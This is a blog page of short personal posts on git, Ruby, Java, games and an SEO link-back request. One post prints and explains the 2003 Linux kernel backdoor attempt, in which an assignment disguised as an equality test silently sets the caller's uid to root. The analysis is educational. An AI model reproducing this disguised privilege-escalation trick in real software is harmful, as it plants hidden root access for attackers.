Affiliate marketing site ReviewLab wants a link-back

posted Dec 27, 2017, 5:06 AM by Lewis Baumstark

A couple weeks ago I got this email:

From: Louisa Wheaton <>
Date: Mon, Dec 11, 2017 at 5:13 AM
Subject: Thanks and New Suggestion for your "Stuff I want to remember" Page
To: me

Hi Lewis,

First off, I wanted to say thank you for putting together the "Stuff I want to remember" page on your site ( There are some really useful links/resources on there.

Also, I wanted to pass along another useful page, the "Robotics Resource Guide" ( I thought your visitors might find it to be a helpful addition as well. 

In any case, hope I'm not bothering you. Have a great day!


I'll be honest, my first thought was "hey cool, a person actually read my crappy little blog and took the time to drop me a line about it, how nice!". Especially since I've done pretty much zilch to it in... (checks dates) ...about 3 years. 20 seconds later my natural paranoia kicked in. What did she actually like about my page? How did she find it useful. She doesn't say.

So I mosey on over to the link she sent. It's a pretty spartan list of random links to robotics-related resources, with nothing to suggest actual curation or thoughtful selection. Certainly nothing to interest me. I ignore, assuming I'll never hear from her again.

She sent a follow-up today:

From: Louisa Wheaton <>
Date: Wed, Dec 27, 2017 at 2:25 AM
Subject: Fwd: Thanks and New Suggestion for your "Stuff I want to remember" Page
To: Me

Hi Lewis,

Hope all is well! I was just going through my emails and realized that I never heard back from you. I'm guessing it's just because you're incredibly busy, but just in case my email slipped through the cracks, I figured I'd pass it along again. 

In any case, hopefully I'm not bothering you - have a great day!


It's Dec. 27 and I've had the flu since well before Christmas. I'm cranky, bored, and not yet finished with my first cup of coffee. And I'm annoyed enough to dig a little deeper.

If you go to and check their About page you'll  see their a product-review site:

We scour the web to find all the available products in a given category. We then analyze thousands of customer reviews using a proprietary algorithm and evaluate all products in terms of popularity, quality, value, and freshness. This allows us to score every product based on customer experience and provide a curated list of the best 10 products in any category

Apparently their "proprietary algorithm" is hiring freelancers:

Not that I have a problem with that. Work is work, and if you can score a few bills writing product reviews, knock yourself out. From a random sample of one, the reviews *do* appear to be original (not scraped from other sites). So kudos for originality.

Now, as I look around the site a bit more, my ponderment continues. "What is their business model?" ponders I. "They aren't selling anything, and they don't have ads."

I randomly stagger through their links and soon notice every review comes with an Amazon link to the relevant product.  "Hrmm," I hrmm's. Amazon affiliate links. That's the magic. Write reviews, link to the Amazon product page, snarf up that sweet affiliate ca$h if someone buys using that link. Not particularly shady (assuming they pay their reviewers) but low-effort and probably not very lucrative. I mean, Amazon already has a review system that's a billionty times better. Why would people go to this bland site? But you know, not my ship to sink; feel free to do your thing.

So clearly Ms. Wheaton's friendly emails were a thinly-veiled attempt to drive more traffic to her site (fat chance, given that my readers number in the single digits. In fact, if you're reading this you're either me or, well, me). I'm sure my 10th-page-of-search-results-search-result site will really boost those SEO rankings for her. And while isn't all that shady, begging me for a link-back absolutely is. So she gets her wish, sort of.

Lessons Learned Cosplaying in (Foam) Armor

posted Aug 30, 2014, 7:07 PM by Lewis Baumstark

  1. Limited arm movement means I can't scratch my nose, wipe sweat off my face, etc.
  2. Elastic is not enough to keep thigh and upper arm pieces in place.
  3. A wicking undersuit is magic.  I was more comfortable in the armor than in shorts and a T-shirt in this late-August Georgia weather.
  4. Design for bathroom breaks.
  5. Design to accommodate sitting.  In chairs.
  6. You can't use a smartphone while wearing gloves.  Simply checking the time becomes a major undertaking.

An interesting (to me) version control scenario

posted Apr 27, 2014, 8:20 AM by Lewis Baumstark

I'm thinking about toying with the idea of maybe doing some hacking on the Arduino IDE.  So I made a local clone of their public Git repository:

git clone git://

So far it's pretty basic stuff; from here I can hack on the codebase, commit my own changes, etc.  Importantly, I can keep my local copy of the codebase up-to-date with changes from the official site via a

git pull

as the official site is listed in my config as the origin remote site.  What I can't do is push my changes (via a get push)  to the official site since I don't have write privileges there (and for good reason!)

Since I'm looking at adding new features, I'm going to create (and move to) a new branch (named "windshield" for mysterious reasons) in my local repository:

git checkout -b windshield

Still pretty basic.  From here on, any changes I make will be part of the windshield branch and won't pollute the master branch until I merge them.  This should help with pulling official updates as well.

Now where it gets weird is I want to back up my changes to a different remote repository, one hosted at my workplace (it is, after all, a work-related project).  So first I set a new remote named "uwg" that points to the arduino-windshield project I created at our Gitlab site, and then set the local windshield branch to push its changes to that remote:

git remote add uwg
git branch --set-upstream windshield uwg/windshield

Now, as long as I am working on the windshield branch on my local machine all my commits will go to my work repository when I issue a git push.

My lame attempt to rationalize a plot convenience in Half-Life

posted Feb 23, 2014, 6:32 PM by Lewis Baumstark

Half-Life 1 and 2 rank among my all-time favorite video games.  HL1, especially, has a great story, which is hard to pull off in a first-person shooter.  Being a science fictional setting, there's a lot of fantastic stuff that requires suspension-of-belief: murderous monsters, teleportation portals, alien worlds, futuristic technology, and the fact that all the scientists at Black Mesa have the same face and voice.  Given all that, there was one that actually bugged me: the fact Gordon Freeman, the protagonist, could carry several hundred pounds of weapons and ammo and run sprints without breaking a sweat.  To recap, by the end of HL1, Gordon is carrying:
  • a crowbar
  • a 9mm Glock pistol
  • a .357 Magnum
  • a pump shotgun
  • an MP-5
  • grenades
  • satchel charges
  • trip mines
  • a shoulder-mounted rocket launcher
  • a crossbow
  • a Gauss Gun (fancy-schmancy future laser shootie thingie)
  • a Gluon Gun (more fancy-schmancy future tech); for encumbrance purposes it is notable that the Gluon Gun basically resembles a Ghostbuster's Proton Pack: a heavy backpack with what looks like a fireman's hose running to a hand-held nozzle that sprays an arm-sized stream of death before it.
  • the Hive-hand (organic alien gun that shoots an infinite stream of bees.  OH NO BEES!)
  • Snarks (suicidal exploding alien crabs that chase after people)
  • plus enough ammo to fill a shopping cart

Not content with "it's just a game, stupid" my brain has rationalized how one Navy-Seal-turned-high-energy-physicist could carry all this, and what's more, it's actually a major plot point.

The key is the HEV Suit.  If Gordon Freeman is the archetypal hero of myth, the HEV Suit is his magic armor.  It protects him from injury, aids healing, allows him to run faster, keeps track of vitals and ammo, talks to him in a friendly robo-feminine voice, and even has a handy flashlight.  It is what sets Gordon apart from other actors in the game, what gives him power beyond mere mortals.

And it's why the military is after him.

We are told in the beginning that the HEV suit is merely work clothes, something a third-tier physicist wears while doing the grunt work for the Big Name scientists at Black Mesa, all the while hoping he'll be listed as fifth contributor on a journal paper or three.  That just what we're told.  In reality, it's a prototype military exo-suit, outfitted with advanced technology gleaned from Black Mesa's dalliance with portals.  Specifically, it uses portal-based technology to create extra-dimensional "pants pockets" where Gordon can stash his arsenal without being encumbered.  Doctor Who would be proud, possibly even jealous.

It's pretty clear the suits are rare:
  • Early in the game, when Gordon gets his suit, the storage area suggests there are only 2 others (both, however, are missing).
  • The only others we see are on dead adventurers that were sent into the Xen border-world ahead of Gordon.  Perhaps these were the ones missing from the locker room?
Given how powerful the suits are, it's no wonder the military wants them.  And it's quite possible Gordon has the only one left on Earth.  So when the soldier come in and start murdering scientists left and right, they aren't just securing the facility and erasing every trace of Black Mesa's existence.  They're also after control of all the cool weaponized tech -- including Gordon's HEV suit.  I mean, they wouldn't want him getting away and selling it to Aperture Science, now would they?  And in the end, they get it, or at least, the G-Man gets it when Gordon agrees to be his flunkie and go into suspended animation for 20 years while the Combine invade and enslave us all.

Fortunately the other Black Mesa survivors (likely Dr. Kleiner or Dr. Vance) were (conveniently) able to re-build a new HEV prototype just in time for Gordon to re-awaken in HL2.  At that point the world is already conquered by forces with much cooler toys, so Gordon is pursued less because he's wearing a mechanical orange jumpsuit and more because he's a frickin' Buck Rogers, a legendary hero come back from the dead to lead us out of slavery.  If he doesn't hog all the medkits, that is.

Ruby: make a dummy class (for testing purposes) from a module

posted Jan 19, 2014, 6:49 PM by Lewis Baumstark

I'm not ashamed to admit Ruby messes with my head.  I'm pretty much an ice-cold master of C, Java, and (mostly) C#, but I feel I've only scratched the surface of Ruby.

So my trick of the day comes from trying to think up a way to unit test a Ruby module with non-module methods, meaning it has to be mixed-into a class before those methods can be called and tested.  My first pass was simply to write a throw-away Ruby class that mixed-in the module.  But then I though, why not make a function that works for any module?

So I actually wrote two functions:
  1. one that creates a custom class from the module, basically a "class-ified" module
  2. one that creates an object of that class
Here's the code for the first one.  All it does is create the new Class object, passing as its body an include statement for the module.

def dummy_class_from mod { include mod }

And the second, which simply calls new on the class created from the previous function:

def dummy_instance_of mod

Firefly and User Interface Design

posted Dec 16, 2013, 6:10 PM by Lewis Baumstark

People who know me know I'm a fan of Joss Whedon's short-lived TV show Firefly.  I was thinking about one episode in particular today, titled Out of Gas [Spoiler warning: link goes to plot synopsis].  Their spaceship is dead in the water, er, space.  Captain Malcolm "Mal" Reynolds divides the crew into the two short-range shuttles, sending them in different directions in the desperate hope that one will come across help.  In case that happens, Mal is staying with the ship so he can call the other shuttle back.

So what does this have to do with UI design?  Wash, the ship's pilot, recognizes that Mal will need a way to call the shuttles back, so he comes up with the most user-friendly solution he can think of: he jury-rigs a big red button onto the radio.  Mal doesn't have to worry about radio frequencies, tuning, electronic jibber-jabber, etc.  He just has to push the giant, red, candy-like button.  It's beautiful UI: simple, low mental overhead, no fiddling around necessary.

C, Linux, Short Circuits, and Equality Assignment

posted Oct 10, 2013, 7:17 AM by Lewis Baumstark   [ updated Oct 10, 2013, 12:06 PM ]

So I'm reading this post on an apparent 2003 attempt to insert a backdoor into the Linux kernel.  In the post, he shows the bit of code in question:

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
        retval = -EINVAL;

and, in a parenthetical, asks the C-savvy readers to explain the subtleties of what's going on...with answers at the end of the post.  I haven't read the answers yet, so I'm going to post my analysis, then compare with Dr. Felton's once I finish the article.

First off, the (current->uid = 0) clause.  Anyone who's passed Computer Science 1 knows this is an assignment, not a test for a equality (the latter uses ==, not = ).  Unfortunately, even experienced programmers could miss the difference on a casual glance through the code.

Second, (current->uid = 0) is not just a statement; in C, assignments are also expressions, meaning they evaluate to a value.  Specifically, they evaluate to whatever the final value on the right-side of the assignment comes out to be.  In this case zero, also known as "false" in C.

Third, a lesser-known property of the && ("Logical AND")  operator is that it is short-circuiting, meaning that the right-side expression is evaluated if and only if the left-side expression evaluates to true.

So, put those together, and we have a flow through the if-statement that goes:
  1. evaluate (options == (__WCLONE|__WALL)).
    1. if true, then evaluate (current->uid = 0)...which always evaluates to false and has the side-effect of setting the value of current->uid to zero (more on this in a moment).
    2. if false, then the if-statement is skipped over
And that's it.  Note that the body of the if-statement, retval = -EINVAL;, is never executed.  It is dead code, dead enough that a smart compiler should  be able to catch it (oversight/ignorance on the part of the mysterious backdoor-injecting coder?).  (Update: The only two compilers to which I have access do not seem to give any feedback on when or where they perform dead-code elimination. Sad panda.) Effectively, the backdoor code is an obfuscated version of the following:

if (options == (__WCLONE|__WALL)) {
    current->uid = 0;

Now I know next-to-nothing about the internals of the Linux kernel, but I know enough, in general, of systems administration to know:
  1. what a "uid" is (answer: a user id, the way OS users are represented, internally and numerically, by the system)
  2. that a uid of zero is very likely a special one.  My guess is either the root user account or, perhaps, a special kernel-mode user.
So let's find out.  According to Wikipedia, my first guess was correct; UID 0 is the root (superuser) account.  In other words, the backdoor code has the effect of giving the backdoored program root-level access to the system whenever (options == (__WCLONE|__WALL)) is true.

My intention had been to stop there and see what the remainder of the post had to say, but my curiosity is getting the better of me.  I want to know the context of those "options" and what they really mean.  It appears __WCLONE and __WALL are flags for the wait() system call that indicate to it to wait until child threads have completed; putting a bitwise-OR between then (the | operator) effectively says check if either are true.  So, the bottom(ish) line appears to be "if this thread has child threads, give this thread root access".  Hmmm.

Now to see how close I got...and the answer is pretty much that I nailed it (high-fives self).  Felton does mention that "So the effect of this code is to give root privileges to any piece of software that called wait4 in a particular way that is supposed to be invalid," and I don't know enough about the kernel to understand why (options == (__WCLONE|__WALL)) would be an invalid situation.  Still, an excellent example of how the subtleties of a programming language can be used for evil as well as good.

Why Java Layout Managers are not a Strategy Pattern (any more...)

posted Oct 6, 2013, 9:19 AM by Lewis Baumstark

Apparently I'm all bloggy today.  Fits and spurts, I suppose.

One thing I see occasionally is that Java's AWT/Swing Layout Manager system is an example of the Strategy design pattern.  The more I learn about layout managers (and Strategy), the less I agree.

First off, a review of Strategy.  The relevant highlights are:
  • Strategy makes a family of algorithms interchangeable.
  • Strategy de-couples the Client (user) of an algorithm from the specific implementation of that algorithm.
To me (and I'll welcome someone pointing out where I get this wrong), the heart of the Strategy pattern is the ability to swap-out one implementation for another -- and have the user (client) of the Strategy be none the wiser.

Now, on to layout managers.  In Java, there are two interfaces, LayoutManager and its extended interface LayoutManager2, that specify how layout managers should behave.  Looking at the methods required by LayoutManager only, I'm actually comfortable calling it Strategy.  So any class that implements only LayoutManager (but not LayoutManager2) should be interchangeable with any other that does the same...which basically leaves FlowLayout and GridLayout.  It's important to recognize that both of these layout managers are agnostic of the Components being added to them; as a component is added, the layout manager finds a place for it.

LayoutManager2 breaks this component-agnostic system by incorporating the idea of constraints.  Its addLayoutComponent() method allows implementing classes to associate a constraints object with a specific component in the GUI.  An example is a constraint that says to put a JButton in the NORTH position of a BorderLayout -- the layout manager can't meaningfully position the JButton without this extra object that effectively couples the JButton (part of the layout manager's client, probably a JPanel or similar container) to the client.

As a more visceral example, create a JFrame with a bunch of buttons and labels and such and set its layout manager to FlowLayout.  Then try to set it to BorderLayout or GridBagLayout.  It might technically work, in a trivial sense, but you're missing out on the power of those layout managers if you don't go further and add in constraints.  This violates what I see as the heart of Strategy -- that implementations of the algorithm be interchangeable.

All that said, this is not a critique of layout managers.  Layout managers like GridBagLayout and SpringLayout are powerful and useful.  I just don't think they can be called a Strategy pattern.  My suspicion is that the original idea behind layout managers was that they were intended as a Strategy, but that the hard realities of GUI layout (especially with Java's can't-win goal of platform-independent GUIs) meant the API designers had to break it later on down the line.

Showing Java Processes Launched from Eclipse

posted Oct 6, 2013, 7:43 AM by Lewis Baumstark

As someone who grades student programming assignments, it isn't unusual to get a lot of rogue Java processes running in the background.  Windows Task Manager is not good at distinguishing these from other processes that may be legit (like Eclipse itself); they all show up at "java" or "javaw" instances.

The Debug view (note: different from the Debug perspective) will show all processes (and their sub-threads) launched from within Eclipse, so it is a handy way to find out which student's work is, say, stuck in an infinite loop.  Or didn't set the default JFrame close behavior as EXIT_ON_CLOSE.  People who use the debugger regularly know this.  The Debug View can be added to any perspective, so I put it in the regular Java perspective in order to keep an eye on what's running in the background.

I'd argue the Debug View is poorly-named, which may prevent people from finding it when needed.  So maybe "The Goog" will index this for people trying to find the answer.

1988 Dragon*Con Program Book

posted Jul 21, 2013, 4:02 PM by Lewis Baumstark

A friend who's been going to D*C far longer than I scanned in the 1988 program book.  Geeky nostalgia...

I especially love the ads for vintage computer hardware.

1-10 of 90